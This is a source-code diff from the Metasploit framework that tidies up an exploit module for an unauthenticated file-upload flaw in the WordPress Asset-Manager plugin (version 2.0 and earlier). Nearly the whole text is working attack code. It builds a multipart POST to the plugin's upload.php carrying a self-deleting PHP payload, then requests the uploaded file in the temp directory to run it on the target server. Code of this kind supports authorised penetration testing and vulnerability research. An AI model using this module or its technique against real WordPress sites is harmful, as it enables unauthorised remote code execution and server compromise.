module cleanup by juan

Author: jvazquez-r7

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

@@ -9,7 +9,7 @@
 require 'msf/core/exploit/php_exe'
 
 class Metasploit3 < Msf::Exploit::Remote
-	Rank = GreatRanking
+	Rank = ExcellentRanking
 
 	include Msf::Exploit::Remote::HttpClient
 	include Msf::Exploit::PhpEXE
@@ -18,83 +18,74 @@ def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
 			'Description'    => %q{
-				This module exploits a vulnerability found in Asset-Manager <= 2.0
-				WordPress plugin.  By abusing the upload.php file, a malicious
-				user can upload a file to a temp directory without authentication,
-				which results in arbitrary code execution.
+				This module exploits a vulnerability found in Asset-Manager <= 2.0	WordPress
+				plugin.  By abusing the upload.php file, a malicious user can upload a file to a
+				temp directory without authentication, which results in arbitrary code execution.
 			},
-			'Author'         => [ 
-						'Sammy FORGIT',	# initial discovery
-						'James Fitts' 	# metasploit module
-						],
+			'Author'         =>
+				[
+					'Sammy FORGIT',	# initial discovery
+					'James Fitts <fitts.james[at]gmail.com>' # metasploit module
+				],
 			'License'        => MSF_LICENSE,
-			'Version'        => '$Revision: $',
 			'References'     =>
 				[
 					[ 'OSVDB', '82653' ],
-					[ 'BID','53809' ]
+					[ 'BID', '53809' ],
+					[ 'EDB', '18993' ],
+					[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
 				],
-			'Payload'	 =>
+			'Payload'	     =>
 				{
 					'BadChars' => "\x00",
 				},
 			'Platform'       => 'php',
-			'Arch'		 => ARCH_PHP,
+			'Arch'		     => ARCH_PHP,
 			'Targets'        =>
 				[
 					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
-					[ 'Linux x86'		, { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
 				],
 			'DefaultTarget' => 0,
-			'DisclosureDate' => 'Jan 23 2012'))
+			'DisclosureDate' => 'May 26 2012'))
 
 		register_options(
 			[
-				OptString.new('TARGETURI', [true, 'The base path to Asset Manager', '/wordpress/wp-content'])
+				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
 			], self.class)
 	end
 
 	def exploit
 		uri =  target_uri.path
 		uri << '/' if uri[-1,1] != '/'
-
 		peer = "#{rhost}:#{rport}"
-		uid = rand_text_alphanumeric(34).to_s
-
-		@payload_name = "#{rand_text_alpha(5)}.php"
+		payload_name = "#{rand_text_alpha(5)}.php"
+		php_payload = get_write_exec_payload(:unlink_self=>true)
 
-		post_data =  "--#{uid}\r\n"
-		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
-		post_data << "Content-Type: application/octet-stream\r\n"
-		post_data << "\r\n"
-		post_data << payload.raw + "\r\n"
-		post_data << "\r\n"
-		post_data << "--#{uid}--\r\n"
+		data = Rex::MIME::Message.new
+		data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
+		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
-		print_status("Uploading payload #{@payload_name} to #{peer}...")
+		print_status("#{peer} - Uploading payload #{payload_name}")
 		res = send_request_cgi({
 			'method'	=> 'POST',
-			'uri'		=> "#{uri}plugins/asset-manager/upload.php",
-			'ctype'		=> "multipart/form-data; boundary=#{uid}",
+			'uri'		=> "#{uri}wp-content/plugins/asset-manager/upload.php",
+			'ctype'		=> "multipart/form-data; boundary=#{data.bound}",
 			'data'		=> post_data
 		})
 
-		if res
-			print_status("#{peer} responds with status: #{res.code.to_s}")
-		else
-			print_error("#{peer} not responding to our requests...")
-			return
+		if not res or res.code != 200 or res.body !~ /#{payload_name}/
+			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
 		end
 
-		print_status("Executing payload #{@payload_name} on the target...")
+		print_status("#{peer} - Executing payload #{payload_name}")
 		res = send_request_raw({
-			'uri'		=> "#{uri}uploads/assets/temp/#{@payload_name}",
+			'uri'		=> "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
 			'method'	=> 'GET'
 		})
 
-		if res and res.code == 404
-			print_error("Target responding with a 404... Upload probably failed...")
-			return
+		if res and res.code != 200
+			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
 		end
 	end
 end